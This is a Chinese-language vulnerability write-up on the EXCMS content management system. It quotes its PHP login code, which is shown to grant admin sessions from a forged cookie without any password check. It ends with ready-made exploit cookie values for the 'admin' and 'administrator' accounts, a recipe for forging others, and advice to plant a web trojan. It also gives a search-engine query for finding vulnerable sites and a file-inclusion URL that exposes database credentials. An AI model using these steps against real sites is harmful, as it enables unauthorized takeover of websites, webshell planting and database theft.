标题：Excms漏洞
简述
黑客可以访问卓越内容管理系统中的任意文件，包括包含数据库的连接账号。通过这些数据黑客就有可能对整个网站内容进行删除增加等操作，从而影响正常的网站内容。
漏洞分析
发布日期2011-01.18
影响用户近1亿网民 
漏洞类型COOKIES欺骗
漏洞描述此漏洞利用修改COOKIES 直接进入后台，自定义页Getshell。
后台登录文件
admin\Modules\Auth\Index.php
<? 
if ( defined( "EXCMS" ) ) //在admin/index.php里有了 下面文件都是包含运行方式的 
{ 
} 
if ( !defined( "EXCMS_ADMIN" ) ) 
{ 
exit( "Access Denied" ); 
} 
$excms_action['title'] = "登录"; //标题 
$forward = $_GET['forward']; //登录后转跳的地方 
$verifycode = $EXCMS_CONFIG['login_verifycode']; //验证码。。。 
if ( $_POST['loginType'] != 1 && !empty( $_COOKIE['EXCMSADMIN'] ) ) 
//迈下伏笔了！ 
{ 
$defaultBoxDisplay = "none"; 
$BoxDisplay = ""; 
$remeberInfo = explode( "&", $_COOKIE['EXCMSADMIN'] ); 
//看到这里没？ 神奇把？ 
$remeberAdmin = $remeberInfo[0]; 
$remeberPwd = $remeberInfo[1]; 
//账号密码获取了(COOKIES方式？) 看下去将会发生的事情很惊天地！ 
$pwdForever = strtoupper( md5( $remeberAdmin." love EXCMS forever" ) ); 
//这就是中国特色！ 作者 你知道良心2个字什么写吗？ 你知道什么叫道德吗？ 
$remeberPwd = $remeberPwd == $pwdForever ? true : false; 
$loginInputDispay = $remeberPwd ? "none" : ""; 
$loginType = $remeberPwd ? 3 : 2; 
} 
else 
{ 
$defaultBoxDisplay = ""; 
$BoxDisplay = "none"; 
$loginInputDispay = "none"; 
$loginType = 1; 
} 
//下面是输出登录界面的 
然后是CheckLogin.php 验证登录文件 
经典对白 看代码！ 
<? 
if ( defined( "EXCMS" ) )//index.php有了 
{ 
} 
if ( !defined( "EXCMS_ADMIN" ) ) 
{ 
exit( "Access Denied" ); 
} 
$excms_action['loadtpl'] = true; 
$adminname = trim( $param['adminname'] ); 
$password = trim( $param['loginType'] == 2 ? $param['password1'] : $param['password'] ); 
$rememberPwd = $param['loginType'] == 2 ? $param['savePwd'] : $param['rememberPwd']; 
$forward = $param['forward']; 
$login_fail = true; 
$error = ""; 
//以上东西不用理 $param都是POST方式的 
if ( empty( $adminname ) ) 
//检测账户是否为空 
{ 
$error = getlangbyname( "EMPTY_ADMINNAME" ); 
} 
else if ( $param['loginType'] != 3 && empty( $password ) ) 
//检测这个什么东西 可能是步骤把 是否第3步和密码是否是空 
{ 
$error = getlangbyname( "EMPTY_PASSWORD" ); 
} 
else 
{ 
if ( $param['loginType'] == 3 ) 
{ 
//以下内容绝非因失误做成的漏洞 以这个程序编写技术 没可能这样 可以找任何PHP高手鉴证 
$remeberInfo = explode( "&", $_COOKIE['EXCMSADMIN'] ); 
$remeberAdmin = $remeberInfo[0]; 
$remeberPwd = $remeberInfo[1]; 
//账号密码从COOKIES里获取！ 
$pwdForever = strtoupper( md5( $adminname." love EXCMS forever" ) ); 
if ( $remeberPwd == $pwdForever ) 
//COOKIES里的账号加密过程 比ESPCMS还简单~~ 
{ 
include_once( LIB_PATH."system/Admin.class.php" ); 
$admin_obj = new Admin( ); 
$admin = $admin_obj->getByAdminname( $adminname ); 
//悲剧！ 只验证了管理员账号 没有验证密码！！！ 
if ( $admin ) 
{ 
$admin['acl'] = $admin_obj->getAdminACL( $admin['adminid'] ); 
$_SESSION['admininfo'] = $admin; 
//获得管理员权限了！！！！！！！！！ 
++$_SESSION['admininfo']['logintimes']; 
$admin_obj->updateLastLogin( $admin['adminid'] ); 
include_once( LIB_PATH."auth/Auth.class.php" ); 
$auth = new Auth( ); 
$auth->checkMenu( true ); 
$excms_action['loadtpl'] = false; 
$login_fail = false; 
} 
} 
} 
else 
//跳过没有COKIES 下面就是真正的验证登录状态 请注意 是有验证密码的！ 
{ 
if ( $EXCMS['config']['login_verifycode'] ) 
{ 
$param['verifycode'] = trim( $param['verifycode'] ); 
if ( $param['verifycode'] == "" ) 
{ 
$error = getlangbyname( "EMPTY_VERIFYCODE" ); 
} 
else 
{ 
include_once( LIB_PATH."util/CheckCode.class.php" ); 
$checkcode = new CheckCode( ); 
if ( !$checkcode->check( $param['verifycode'] ) ) 
{ 
$error = getlangbyname( "VERIFYCODE_FAILED" ); 
} 
} 
} 
if ( empty( $error ) ) 
{ 
include_once( LIB_PATH."auth/Auth.class.php" ); 
$auth = new Auth( ); 
$loginMsg = $auth->Login( $adminname, $password ); 
if ( $loginMsg['success'] ) 
{ 
$_SESSION['admininfo'] = $loginMsg['admininfo']; 
++$_SESSION['admininfo']['logintimes']; 
$auth->checkMenu( true ); 
if ( $rememberPwd == 1 ) 
{ 
$pwdForever = strtoupper( md5( $adminname." love EXCMS forever" ) ); 
setcookie( "EXCMSADMIN", $adminname."&".$pwdForever, time( ) + 2592000 ); 
} 
else if ( $param['loginType'] != 2 && $param['rememberMe'] == 1 ) 
{ 
setcookie( "EXCMSADMIN", $adminname, time( ) + 2592000 ); 
} 
$login_fail = false; 
$excms_action['loadtpl'] = false; 
} 
else 
{ 
$error = getlangbyname( $loginMsg['message'] ); 
} 
} 
} 
} 
if ( !$login_fail ) 
{ 
if ( empty( $forward ) || strpos( $forward, "index.php?M=Auth" ) ) 
{ 
header( "Location:index.php", true ); 
exit( ); 
} 
header( "Location:".$forward, true ); 
exit( ); 
} 
$errorCls = "f"; 
if ( $excms_action['loadtpl'] ) 
{ 
if ( !$error ) 
{ 
$error = getlangbyname( "LOGIN_FAILED" ); 
} 
require( MODULES_PATH."Auth/Index.php" ); 
} 
?> 
//分析完毕
最后给出EXP
EXCMSADMIN=admin%26858A611C5651AC436D4450CE23A858D1; 
EXCMSADMIN=administrator%263E0331271F1133F9613BD49E7C4FB0CD;
第1个是admin
第2个是administrator 一般 就这2个 其他账号的话请自行结构
结构方法 setcookie( "EXCMSADMIN", md5( 账号." love EXCMS forever" ) );
修改COOKIES 直接进入后台 然后自定义页面 写入网马
后语 这个COOKIES“漏洞”并非是记住管理登录状态，记住管理登录的COOKIES是 SESSION ID 验证这个
所以这个漏洞100%是作者留下的后门！[1]
EXCMS漏洞利用方法
先在搜索引擎中搜索“Powered by EXCMS 2011”，搜索到的网站都含有漏洞，随意挑选一个作为目标，在域名后输入“apps/include.php?file=sitedata/config.inc.php”，回车，出现一个空白页，右键，查看源文件，这样，网站的MySQL数据库就暴露了……
接着，用工具Navicat for MySQL进行数据库连接……接下来就是破解了……不解释……